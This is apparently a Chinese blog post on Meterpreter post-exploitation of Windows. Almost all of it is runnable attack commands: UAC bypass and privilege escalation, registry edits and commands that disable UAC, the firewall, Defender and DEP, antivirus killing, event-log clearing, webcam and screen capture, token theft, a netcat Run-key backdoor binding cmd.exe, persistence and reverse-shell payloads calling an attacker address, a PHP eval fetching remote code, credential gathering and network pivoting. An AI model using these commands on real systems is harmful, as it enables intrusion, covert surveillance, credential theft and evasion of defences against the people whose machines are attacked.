Meterpreter后渗透

第一次写博客写的有点乱,欢迎各位大佬指点不足

Msf后渗透测试阶段做什么

  • -提权
  • -信息收集
  • -渗透内网
  • -永久后门

在meterpreter中首先要获取system账号权限 
-load priv -getsystem 
▪ priv_elevate_getsystem: Operation failed: Access is denied. //说明有UAC限制

绕过UAC限制

use exploit/windows/local/ask //就是需要请求ask同意我才能执行' VNC去访问那种
▪ set session
▪ set filename
Meterpreter后渗透

此时session会多出来一个新的具有system权限的session //这种方法就不是一定成功的

use exploit/windows/local/bypassuac

使用它即可上传一个exe直接bypass UAC !
Meterpreter后渗透

use exploit/windows/local/bypassuac_injection

是上传一个dll注入bypass的 如果他不是Administrator组的 那么就需要直接利用漏洞直接提权

use exploit/windows/local/ 利用本地系统漏洞然后提权 //

migrate 将你的shell进程迁移到另一个进程中 //getsystem不成功 可能需要将他转移到其他的系统进程即可

图形化payload

– set payload windows/vncinject/reverse_tcp – set viewonly no //就可以直接VNC操作

Psexec 模块之 Passthehash 可以直接hash登录

加载kiwi模块以前的mimikatz然后可以抓取当前的明文密码

use exploit/windows/smb/psexec 设置相应的smbuser和smbpass 但是需要提前关闭UAC

关闭UAC

cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Meterpreter后渗透

我们可以看到是关闭了 但是需要重启

常用命令

– netsh advfirewall set allprofiles state off //on是开启 关闭防火墙需要管理员或者system权限
– net stop windefend //关闭Windefend 
– manage-bde -off C:    //Bitlocker磁盘加密
– manage-bde -status C:
– bcdedit.exe /set {current} nx AlwaysOff //关闭DEP
– Run killav//杀死防毒软件
– run post/windows/manage/killa
– run post/windows/manage/enable_rd//开启远程桌面服务
– run getgui –e
▪ run getgui -u -p //添加账号密码
▪run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20160824.1855.rc //关闭远程桌面 文件是开启自动生成的
查看远程桌面
– screenshot //截图当前桌面‘ 清晰
– use espia //插件
screengrab//截取当前桌面’模糊一点
webcam//摄像头命令
webcam_list //查看摄像头 webcam_snap #通过摄像头拍照 webcam_stream #通过摄像头开启视频
clearav //清除windows中的应用程序日志、系统日志、安全日志

 令牌操纵(incognito假冒令牌)

use incognito #help incognito 查看帮助 
list_tokens -u #查看可用的token 
impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token 
或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 
需使用\\ execute -f cmd.exe -i –t # -t 使用假冒的token 执行 或者直接shell rev2self #返回原始token
steal_token窃取令牌
steal_token <pid值> #从指定进程中窃取token 先ps drop_token #删除窃取的token

注册表添加NC后门服务(meterpreter)

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe' 
reg queryval -k HKLM\software\microsoft\windows\currentversion\Run - v nc //查询是否加入到注册表了

Nc的一些用法

Meterpreter后渗透
基本格式:nc [-options] hostname port[s] [ports] ... 
nc -l -p port [options] [hostname] [port]

-d 后台模式 
-e prog 程序重定向,一旦连接,就执行 [危险!!] 
-g gateway source-routing hop point[s], up to 8 
-G num source-routing pointer: 4, 8, 12, ... 
-h 帮助信息 
-i secs 延时的间隔 
-l 监听模式,用于入站连接 
-L 连接关闭后,仍然继续监听 
-n 指定数字的IP地址,不能用hostname 
-o file 记录16进制的传输 
-p port 本地端口号 
-r 随机本地及远程端口 
-s addr 本地源地址 
-t 使用TELNET交互方式 
-u UDP模式 
-v 详细输出--用两个-v可得到更详细的内容 
-w secs timeout的时间 
-z 将输入输出关掉--用于扫描时
Nc用法

//这里以Windows7为例,如果你们Windows7是64位那么文件到system32 会重定向到sysWOW64,因为Windows 64位版本上的%windir%\System32文件夹中没有32位内容。

所以上面路径也要改了。 reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d 'C:\windows\sysWOW64\nc.exe -Ldp 444 -e cmd.exe'

这个和你生成的shellcode是有关系的。生成的shellcode是x64是不存在这种情况的  windows/x64/meterpreter/reverse_tcp

ps:这个就需要关闭防火墙,但是为了更加隐蔽我们可以开启策略

execute -f cmd -i -H //执行cmd -H是隐蔽运行 -i是交互 这里用shell和这个还是有区别的 各位可以自己测试

Meterpreter后渗透
-H        Create the process hidden from view.
-a <opt>  The arguments to pass to the command.
-c        Channelized I/O (required for interaction).
-d <opt>  The 'dummy' executable to launch when using -m.
-f <opt>  The executable command to run.
-h        Help menu.
-i        Interact with the process after creating it.
-k        Execute process on the meterpreters current desktop
-m        Execute from memory.
-s <opt>  Execute process in a given session as the session user
-t        Execute process with currently impersonated thread token
OPTIONS:

netsh firewall show opmode//检查是否开启防火墙

netsh firewall add portopening TCP 444 "这个名字自己看着随便来" ENABLE ALL //添加策略

抓包(meterpreter)

– load sniffer
– sniffer_interfaces
– sniffer_start 2
– sniffer_dump 2 1.cap
在内存中缓存区循环抓包(50000包),不写硬盘
只能过滤meterpreter流量,传输全过程SSL/TLS加密

解码

一些协议 访问什么的 内容基本看不到
– use auxiliary/sniffer/psnuffle
– set PCAPFILE 1.cap

set exitonsession 为false就是持续的 没连接一个就获得一个session

POST模块

– run post/windows/gather/arp_scanner RHOSTS=2.1.1.0/24 //arp嗅探
– run post/windows/gather/checkvm //检查是否是虚拟机
– run post/windows/gather/credentials/credential_collector //token
– run post/windows/gather/enum_applications // 装的软件
– run post/windows/gather/enum_logged_on_users //账号正处于登录状态
– run post/windows/gather/enum_snmp//  snmp
– run post/multi/recon/local_exploit_suggester //存在提权漏洞
– run post/windows/manage/delete_user USERNAME=账号名字 //删除账号
– run post/multi/gather/env //环境配置

持久后门(meterpreter6的话是弃用这个脚本)

– run persistence -h
– run persistence -X -i 10 -p 4444 -r 1.1.1.1
– run persistence -U -i 20 -p 4444 -r 1.1.1.1
– run persistence -S -i 20 -p 4444 -r 1.1.1.1

use exploit/windows/local/persistence

Meterpreter后渗透

PHP shell 和 Web Delivery

-msfvenom -p php/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=3333 -f 
raw -o a.php
MSF启动侦听
上传WEB站点通过游览器访问
=========分割==========
–利用代码执行漏洞访问攻击者服务器 
– use exploit/multi/script/web_delivery – set target 1 – php -d allow_url_fopen=true -r “eval(file_get_contents(‘http://1.1.1.1/ fTYWqmu'));"

端口转发和代理

1.portfwd
portfwd是meterpreter提供的端口转发功能,在meterpreter下使用portfwd -h命令查看该命令的参数。
常用参数:
-l:本地监听端口
-r:内网目标的ip
-p:内网目标的端口

上面命令执行之后,会将10.1.1.3的3389端口转发到本地的2222端口。
2.pivot
pivot是msf最常用的代理,可以让我们使用msf提供的扫描模块对内网进行探测。
(1)首先需要在msf的操作界面下添加一个路由表。
添加命令:route add 内网ip 子网掩码 session的id
打印命令:route print
路由添加成功之后就可以在msf里访问10.1.1.0/24这个网段。
(2)建立socks代理。
如果其它程序需要访问这个内网环境,就可以建立socks代理。
msf提供了3个模块用来做socks代理。
auxiliary/server/socks4a
use auxiliary/server/socks5
use auxiliary/server/socks_unc
以auxiliary/server/socks4a为例,查看需要设置的参数。
一共两个参数:
SRVHOST:监听的ip地址,默认为0.0.0.0,一般不需要更改。
SRVPORT:监听的端口,默认为1080。
直接运行run命令,就可以成功创建一个socks4代理隧道,在linux上可以配置proxychains使用,在windows可以配置Proxifier进行使用

PS:MSF+内网穿透 实现远程渗透教程

上一篇:【actitivi】配置运行上遇到的问题


下一篇:java连接数据库报了ssl连接的警告